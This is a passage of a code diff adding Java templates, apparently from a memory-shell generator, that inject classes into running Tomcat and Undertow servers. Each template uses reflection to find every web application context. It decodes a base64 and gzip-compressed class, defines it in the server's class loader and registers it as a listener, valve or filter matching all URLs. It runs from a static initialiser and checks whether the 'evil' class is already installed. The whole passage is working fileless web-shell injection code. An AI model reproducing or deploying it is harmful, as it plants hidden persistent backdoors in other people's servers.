Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* Author: pen4uin
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*/
|
||||
public class TomcatListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public TomcatListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
|
||||
} catch (Exception e) {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
arrayList.add(listener);
|
||||
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
|
||||
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (int i = 0; i < arrayList.size(); i++) {
|
||||
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
package jmg.core.template;
|
||||
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Valve 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v8.5.83, v9.0.67
|
||||
*/
|
||||
public class TomcatValveInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
static {
|
||||
new TomcatValveInjectorTpl();
|
||||
}
|
||||
|
||||
public TomcatValveInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getValve(context);
|
||||
if (valve == null) continue;
|
||||
injectValve(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println(valve.getClass().getName() + "exist, skipping.");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class ValveClass;
|
||||
try {
|
||||
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
} catch (Exception e) {
|
||||
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
}
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
|
||||
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
|
||||
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class UndertowFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public UndertowFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null)
|
||||
contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class UndertowListenerInjectorTpl {
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public UndertowListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
